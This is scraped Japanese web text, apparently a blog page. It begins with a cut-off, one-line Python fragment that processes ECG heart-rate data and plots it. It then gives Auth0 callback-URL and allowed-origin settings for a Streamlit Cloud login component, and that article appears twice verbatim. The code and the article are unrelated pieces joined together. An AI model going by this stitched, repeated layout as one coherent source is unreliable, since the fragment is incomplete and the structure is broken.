チャンネルから信号とサンプリングレートを取得 signal = file.readSignal(ecg_channel) sampling_rate = file.getSampleFrequency(ecg_channel) print('sampling rate',sampling_rate) #信号の軸とHeartRateの取得 ts,heart_rate = detect_heart_rate(signal, sampling_rate) print('ts',ts) print('heart rate',heart_rate) print('bpm',len(heart_rate)) # オリジナルのデータの長さとサンプリングレートを取得 original_length = len(ts) original_sampling_rate = original_length / ts[-1] #1分あたりでサンプリングレート sampling_rate =1/60 # 新しいデータの長さを計算 new_length = int(original_length * (sampling_rate / original_sampling_rate)) # ダウンサンプリング downsampled_ts = resample(ts, new_length) downsampled_heart_rate= resample(heart_rate, new_length) #ダウンサンプリングされた値をdatetimeの形に直す #測定開始の日付時間(例:2023年6月5日22時7分40秒) base_datetime = datetime(2023, 6, 5, 22, 7, 40) datetimes = [] for i,value in enumerate(downsampled_ts): datetimes.append(base_datetime + timedelta(minutes=i)) datetimes = [value.strftime('%Y-%m-%d %H:%M:%S') for value in datetimes] #pandasの形に直す heart_rate_df = pd.DataFrame(downsampled_heart_rate) heart_rate_df = heart_rate_df.set_index(pd.to_datetime(datetimes)) else: print('心拍データが含まれていません') #グラフを表示する領域を,figオブジェクトとして作成。 fig = plt.figure(figsize = (10,6), facecolor='lightblue') ax = fig.add_subplot() ax.plot(heart_rate_df) #axのx軸ラベルを指定 # 開始日時と終了日時をdatetimeオブジェクトとして表現 start_datetime = datetime(2023, 6, 5, 22, 7, 40) end_datetime = datetime(2023, 6, 5, 22, 48, 1) # 5分ごとの日時をリストに格納 time_range_5min = [] current_time = start_datetime while current_time <= end_datetime: time_range_5min.append(current_time) #minutesを変えることで、何分ごとにx軸を表示するかを決める current_time += timedelta(minutes=5) # datetimeオブジェクトを数値に変換 time_range_5min_num = [mdates.date2num(dt) for dt in time_range_5min] # x軸の目盛りを設定 ax.set_xticks(time_range_5min_num) # x軸のフォーマッタを設定 ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M:%S')) #各subplotにxラベルを追加 ax.set_xlabel('time') #各subplotにyラベルを追加 ax.set_ylabel('bpm(1m)') plt.show()
streamlit cloud上でAuth0を使用したログインを行う際のAuth0の設定
streamlit上でAuth0を使用したログインを行ったときに、ローカルでのログインは出来るが、streamlit cloudでデプロイしたときには動かないことがあります。
ローカル時と同じ設定方法ではAuth0は動きません。
しかし、多くの場合、解説記事ではローカルでの設定しか書かれておらず、デプロイする際の設定は書かれていません。
多くの人がここで戸惑っています。

そこで、ここではstreamlitを使用して開発した自分のアプリをstreamlit cloudでデプロイしたときのAuth0の設定について書いていきます。
streamlit上でAuth0でログインする基本のコンポーネントとして、streamlit-auth0を使用させて頂きます。
Auth0以外の基本的な設定は、レポジトリ内のReadme.mdに沿って行ってください。
github.com
Thanks, conradbez!!!
紹介記事
discuss.streamlit.io
方法
1,callback URL
https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html, http://YOUR_AUTH0_DOMAIN/component/auth0_component.login_button/index.html
2,Allowed Web origin
https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html
例
↓存在しないアカウントとstreamlit cloud上のアプリ
Auth0 settings page
My App url on streamlit cloud
https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/
Auth0の設定
1,call back URL
https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html, http://dev-o3y3v7wthueiyyyt.us.auth0.com/component/auth0_component.login_button/index.html
2,Allowed Web origin
https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html
streamlit cloud上でAuth0を使用したログインを行う際のAuth0の設定
streamlit上でAuth0を使用したログインを行ったときに、ローカルでのログインは出来るが、streamlit cloudでデプロイしたときには動かないことがあります。
ローカル時と同じ設定方法ではAuth0は動きません。
しかし、多くの場合、解説記事ではローカルでの設定しか書かれておらず、デプロイする際の設定は書かれていません。
多くの人がここで戸惑っています。

そこで、ここではstreamlitを使用して開発した自分のアプリをstreamlit cloudでデプロイしたときのAuth0の設定について書いていきます。
streamlit上でAuth0でログインする基本のコンポーネントとして、streamlit-auth0を使用させて頂きます。
Auth0以外の基本的な設定は、レポジトリ内のReadme.mdに沿って行ってください。
github.com
Thanks, conradbez!!!
紹介記事
discuss.streamlit.io
方法
1,callback URL
https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html, http://YOUR_AUTH0_DOMAIN/component/auth0_component.login_button/index.html
2,Allowed Web origin
https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html
例
↓存在しないアカウントとstreamlit cloud上のアプリ
Auth0 settings page
My App url on streamlit cloud
https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/
Auth0の設定
1,call back URL
https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html, http://dev-o3y3v7wthueiyyyt.us.auth0.com/component/auth0_component.login_button/index.html
2,Allowed Web origin
https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html
